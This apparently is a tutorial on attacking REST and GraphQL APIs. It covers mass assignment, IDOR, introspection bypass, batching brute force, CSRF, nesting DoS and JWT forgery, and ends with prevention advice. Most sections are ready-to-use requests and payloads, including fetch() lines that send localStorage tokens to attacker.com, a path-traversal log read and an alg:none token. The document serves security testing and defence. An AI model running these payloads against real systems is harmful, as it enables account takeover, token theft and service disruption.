1. REST API Recon — JS Mining, Parameter Discovery, Verb Tampering
Before touching a single endpoint, spend time understanding the attack surface. Developers leave far more than intended inside JavaScript bundles.
JavaScript Source Mining
Modern SPAs bundle all API route definitions into the front-end JavaScript. Tools like LinkFinder and manual regex can extract every path from a minified bundle in seconds.
# Pull all JS files from a page, extract paths
python3 linkfinder.py -i https://target.com -d -o results.html
# Manual regex against a downloaded bundle
grep -oP '(/api/v[0-9]+/[a-zA-Z0-9/_-]+)' app.bundle.js | sort -u
# Look for hardcoded keys, tokens, internal hostnames
grep -iE '(api[_-]?key|secret|token|bearer|Authorization)\s*[:=]\s*["\x27][^"]+["\x27]' *.js
Beyond route extraction, look for environment-specific configuration objects that may expose staging URLs, internal services, or feature-flag endpoints that bypass production hardening.
Parameter Discovery with Arjun
Many API endpoints accept hidden parameters that alter server behaviour — filtering results, enabling debug output, or unlocking admin views. Arjun performs async brute-forcing of both GET query params and POST body keys.
# Discover GET parameters
arjun -u https://target.com/api/v2/users -m GET
# Discover POST body keys (JSON)
arjun -u https://target.com/api/v2/users -m POST --include '{"userId":1}'
# Multi-threaded wordlist sweep
arjun -u https://target.com/api/v2/orders -m GET -t 20 -w /usr/share/arjun/large.txt
debug=true, internal=1, admin=true, and format=xml appear in real-world applications far more often than documentation admits. Always fuzz with a parameter wordlist that includes these.
HTTP Verb Tampering
Access controls are frequently implemented per-method. A developer secures POST /api/v1/users but forgets that PUT, PATCH, or DELETE on the same route bypass the middleware entirely. Additionally, some frameworks accept method overrides via headers.
GET /api/v1/admin/users HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETE
Authorization: Bearer <low-privilege-token>
# Verb tamper with curl to find open methods
for METHOD in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
echo -n "$METHOD: "
curl -s -o /dev/null -w "%{http_code}" -X $METHOD \
-H "Authorization: Bearer $TOKEN" \
https://target.com/api/v1/admin/users
echo
done
A 405 Method Not Allowed response confirms the endpoint exists. A 200 or 302 on an unexpected verb is your finding.
2. Mass Assignment — Injecting Unexpected Fields
Mass assignment occurs when a framework automatically binds request body fields to a model object without an explicit allow-list. If the underlying ORM model has fields like role, isAdmin, or verified, an attacker can set them by simply including them in the request.
A normal registration sends minimal fields. The server binds everything it receives to the User model before saving.
# Normal registration request
POST /api/v1/users/register HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "masaaki",
"email": "[email protected]",
"password": "hunter2"
}
# Mass assignment attack — add privilege fields
POST /api/v1/users/register HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "masaaki",
"email": "[email protected]",
"password": "hunter2",
"role": "admin",
"isAdmin": true,
"verified": true,
"credits": 99999
}
If the server responds with a 201 and the returned object includes "role":"admin", the attack succeeded. Log in and access /admin.
PATCH /api/v1/users/me HTTP/1.1
Host: target.com
Authorization: Bearer <user-token>
Content-Type: application/json
{
"displayName": "Masaaki",
"emailVerified": true,
"subscriptionTier": "enterprise",
"userId": 1
}
The field names to try come from: API documentation, JavaScript source, error messages that leak model field names, and the API response body itself (if it echoes back the full object after update).
Discovery methodology: intercept a normal update request, then replay it with additional fields sourced from the OpenAPI/Swagger spec, the JS bundle, and common field name wordlists. A change in the response (new field in the returned JSON, or a 200 vs 400) signals acceptance.
3. Broken Object-Level Authorization (BOLA / IDOR)
BOLA is consistently ranked #1 in the OWASP API Security Top 10. The server exposes resource identifiers (numeric IDs, UUIDs, slugs) in the URL or request body and trusts the authenticated user to only request their own resources — without actually verifying ownership server-side.
Numeric ID Enumeration
# Accessing your own order
GET /api/v2/orders/1337 HTTP/1.1
Host: target.com
Authorization: Bearer <masaaki-token>
HTTP/1.1 200 OK
{"orderId":1337,"userId":88,"items":[...],"address":"123 Main St"}
# Horizontal privilege escalation — access another user's order
GET /api/v2/orders/1338 HTTP/1.1
Host: target.com
Authorization: Bearer <masaaki-token>
HTTP/1.1 200 OK
{"orderId":1338,"userId":91,"items":[...],"address":"456 Oak Ave"}
Automated IDOR Enumeration with Burp Intruder
- Capture the legitimate request for your own resource in Burp Proxy.
- Send to Intruder. Mark the resource ID as the injection point.
- Use a number payload (e.g. 1–5000, step 1). Enable grep-match for
"userId"or"email"to flag successful hits. - Filter results by response length difference (your resource vs others).
BOLA in Non-Obvious Locations
IDOR is not only in URL paths. Check:
- JSON body fields:
{"invoiceId": 9999, "action": "download"} - Query parameters:
/api/export?reportId=42 - Indirect references: username in path
/api/profile/stephane— can you access/api/profile/admin? - GUIDs: do not assume UUID = safe. Test by swapping UUIDs from two accounts created by you.
4. Broken Function-Level Authorization
BFLA occurs when admin or privileged actions are accessible to low-privilege users because the authorization middleware only guards specific routes rather than function-level permissions.
Endpoint Escalation
# Authenticated user fetches their own profile
GET /api/v1/users/me HTTP/1.1
Authorization: Bearer <user-token>
HTTP/1.1 200 OK
# Try admin-only listing endpoint — change /me to /all
GET /api/v1/users/all HTTP/1.1
Authorization: Bearer <user-token>
HTTP/1.1 200 OK
[{"id":1,"email":"[email protected]","role":"admin"},...]
Admin Action Bypass Patterns
# Normal user endpoint
GET /api/v1/user/profile
DELETE /api/v1/user/account
# Admin variants to try
GET /api/v1/admin/users
GET /api/v1/admin/users/list
GET /api/v1/management/users
GET /api/v1/internal/users
DELETE /api/v1/admin/users/99
POST /api/v1/admin/users/99/promote
# Free user attempts to call export function (should be paid-only)
POST /api/v2/reports/export HTTP/1.1
Host: target.com
Authorization: Bearer <free-tier-token>
Content-Type: application/json
{"format":"csv","reportId":"annual-2025"}
# Server checks authentication but not subscription tier
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="annual-2025.csv"
Key patterns to probe: path segment changes (/me → /all, /user → /admin), HTTP verb changes on the same path, adding /admin prefix or suffix, and endpoint versioning differences (/v1 vs /v2 may have different middleware stacks).
5. GraphQL Introspection — Enabled and Disabled
When Introspection is Enabled
The introspection system allows any client to query the schema in full. When enabled on production, it gives attackers a complete map of every type, field, mutation, and query before writing a single exploit.
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json
{
"query": "{ __schema { queryType { name } types { name kind fields { name type { name kind } } } mutationType { name fields { name args { name type { name } } } } } }"
}
# Format the output with graphql-voyager or graphdoc
# Or use InQL Burp extension — automatically generates a schema map
# and generates sample queries for every operation
When Introspection is Disabled — Bypass Techniques
Many applications disable introspection via a middleware check on the query string. Common bypasses:
Field Suggestions (Clairvoyance)
GraphQL implementations (Apollo, Hasura) return Did you mean X? suggestions in error messages even when introspection is off. The Clairvoyance tool exploits this to reconstruct the schema.
# A typo reveals valid field names via suggestions
POST /graphql HTTP/1.1
Content-Type: application/json
{"query": "{ usr { id } }"}
# Response
{"errors":[{"message":"Cannot query field \"usr\". Did you mean \"user\", \"users\"?"}]}
# Use Clairvoyance to automate schema reconstruction
python3 clairvoyance.py -o schema.json https://target.com/graphql
Alias-Based Introspection Bypass
Some WAFs and middleware block requests containing the literal string __schema. Aliases can rename the field in the query to evade simple string matching.
{
"query": "{ s:__schema { queryType { name } } }"
}
# Or break the keyword with inline fragment tricks
{
"query": "{ __typ__ename }"
}
# Newline/whitespace injection to bypass naive regex on __schema
{
"query": "{\n __schema {\n types { name }\n }\n}"
}
GET-Based Introspection
GET /graphql?query={__schema{types{name}}} HTTP/1.1
Host: target.com
POST-based introspection is often blocked while GET remains open, or vice versa. Test both.
6. GraphQL Query Batching for Rate-Limit Bypass
GraphQL supports batching — multiple operations in a single HTTP request via a JSON array. Rate limiters operating at the HTTP request level count one request, but the server executes all operations in the batch. This is a direct bypass for any rate limiting that targets request frequency rather than operation count.
POST /graphql HTTP/1.1
Host: target.com
Content-Type: application/json
[
{"query": "mutation { verifyPin(pin: \"0000\") { success token } }"},
{"query": "mutation { verifyPin(pin: \"0001\") { success token } }"},
{"query": "mutation { verifyPin(pin: \"0002\") { success token } }"},
... (up to 10,000 in one request)
]
Response is an array matching each operation in order. Parse for "success":true to find the correct PIN. A single HTTP request tests all 10,000 combinations.
Alias-Based Batching (Alternative)
When array batching is disabled, aliases allow multiple instances of the same field in a single query object — achieving the same effect.
{
"query": "{ a0000: verifyPin(pin:\"0000\"){success} a0001: verifyPin(pin:\"0001\"){success} a0002: verifyPin(pin:\"0002\"){success} }"
}
7. GraphQL CSRF via GET
GraphQL mutations submitted via HTTP GET with the query in the URL parameter are exploitable via classic CSRF, because GET requests are simple requests that the browser sends cross-origin without pre-flight. If the server accepts mutations over GET and authenticates via cookies, the attack window is open.
# Server accepts this
GET /graphql?query=mutation{updateEmail(email:"[email protected]"){success}} HTTP/1.1
Host: target.com
Cookie: session=abc123
<!-- Attacker's page — victim visits, mutation fires -->
<img src="https://target.com/graphql?query=mutation{updateEmail(email:%[email protected]%22){success}}"
style="display:none">
8. GraphQL IDOR via Mutation
Just as REST BOLA exploits numeric IDs in URLs, GraphQL mutations often accept a userId or id argument that the server fails to validate against the authenticated user's identity.
POST /graphql HTTP/1.1
Host: target.com
Authorization: Bearer <masaaki-token>
Content-Type: application/json
{
"query": "mutation { updateUser(userId: 42, input: { email: \"[email protected]\" }) { id email } }"
}
# Server should reject because masaaki's userId is 88, not 42
# Vulnerable server returns:
HTTP/1.1 200 OK
{"data":{"updateUser":{"id":42,"email":"[email protected]"}}}
IDOR in Query Resolvers
# Fetch another user's private messages
{
"query": "{ messages(userId: 99) { id body sender createdAt } }"
}
# Read another user's invoices
{
"query": "{ invoice(id: \"inv_00123\") { total billingAddress cardLast4 } }"
}
Always test both query and mutation operations. Queries often have weaker authorization than mutations because developers focus security effort on write operations.
9. GraphQL Deep Nesting DoS
GraphQL's recursive type system allows a schema to contain circular references (e.g. User → Posts → Author → User → ...). Without query depth or complexity limits, an attacker can craft an exponentially expensive query in a few bytes.
{
"query": "{ user(id:1) { posts { author { posts { author { posts { author { posts { author { name } } } } } } } } } }"
}
Each nesting level multiplies the number of database calls. At depth 10, a single user with 20 posts per level generates 20^10 (> 10 trillion) resolver calls before any limiting kicks in.
Field Duplication (Breadth Attack)
{
"query": "{ user(id:1) { f1:email f2:email f3:email f4:email f5:email f6:email ... (×10000) } }"
}
Testing checklist: Does the server have a max query depth setting? Does it enforce a query complexity budget? Does it time out slow queries? Does rate limiting apply per-operation or per-HTTP-request?
10. JWT and API Key Leakage — JS, localStorage, URLs
JavaScript Bundle Extraction
# Find JWT patterns in JS files
grep -oP 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' *.js
# Find API keys (common patterns)
grep -iP '(AIza|AKIA|sk-|xoxb-|ghp_|glpat-)[A-Za-z0-9_-]{20,}' *.js
URL Parameter Leakage
When JWTs or API keys appear in URLs, they end up in: browser history, server access logs, Referer headers sent to third-party analytics, proxy logs, and CDN logs. Even a brief window of exposure is critical.
# Bad practice — token in URL
GET /api/v1/data?api_key=sk-prod-a1b2c3d4e5f6&userId=88
# Probe server logs via SSRF or path traversal
GET /api/v1/files?path=../../../../var/log/nginx/access.log
localStorage / sessionStorage via XSS
// Once XSS is achieved, exfiltrate stored tokens
fetch('https://attacker.com/steal?t=' + localStorage.getItem('authToken'));
// Enumerate all storage keys
Object.keys(localStorage).forEach(k =>
fetch(`https://attacker.com/steal?k=${k}&v=${localStorage[k]}`)
);
JWT Algorithm Confusion (none / RS256→HS256)
# Decode the header and change alg to "none"
Header: { "alg": "none", "typ": "JWT" }
Payload: { "sub": "1", "role": "admin", "iat": 9999999999 }
# Encode without signature (trailing dot only)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIn0.
11. Prevention
Object-Level Authorization
Every resolver and controller must verify that the authenticated user owns or has explicit permission to access the requested object. Never rely on the caller to supply only their own IDs.
Input Allow-listing
Use explicit Data Transfer Objects (DTOs) or serializer allow-lists. Never pass request body maps directly to ORM save/update calls. Deny by default; permit specific fields explicitly.
Disable Introspection in Production
Disable GraphQL introspection on production endpoints. Use schema-aware WAF rules that block __schema, __type, and field suggestion error messages in responses.
GraphQL Depth and Complexity Limits
Enforce max query depth (typically 5–7), max field complexity scores, and max batch size (disable or cap at 10). Libraries: graphql-depth-limit, graphql-cost-analysis.
Rate Limiting at Operation Level
Rate limit per GraphQL operation name, not per HTTP request. A single batched request containing 1000 operations must count as 1000 against the limit.
API Keys and Tokens — Never in URLs
Transmit secrets in Authorization headers only. Rotate any token exposed in a URL immediately. Strip tokens from logs at ingestion time.
CSRF Protection for Cookie-Auth APIs
If your GraphQL API uses cookie-based sessions, enforce CSRF tokens or require Content-Type: application/json (which forces a pre-flight for cross-origin requests). Do not accept mutations over GET.
Function-Level Authorization Middleware
Protect every administrative route and GraphQL mutation with role/permission middleware. Do not rely on path-prefix guards alone — apply authorization checks at the resolver/controller layer.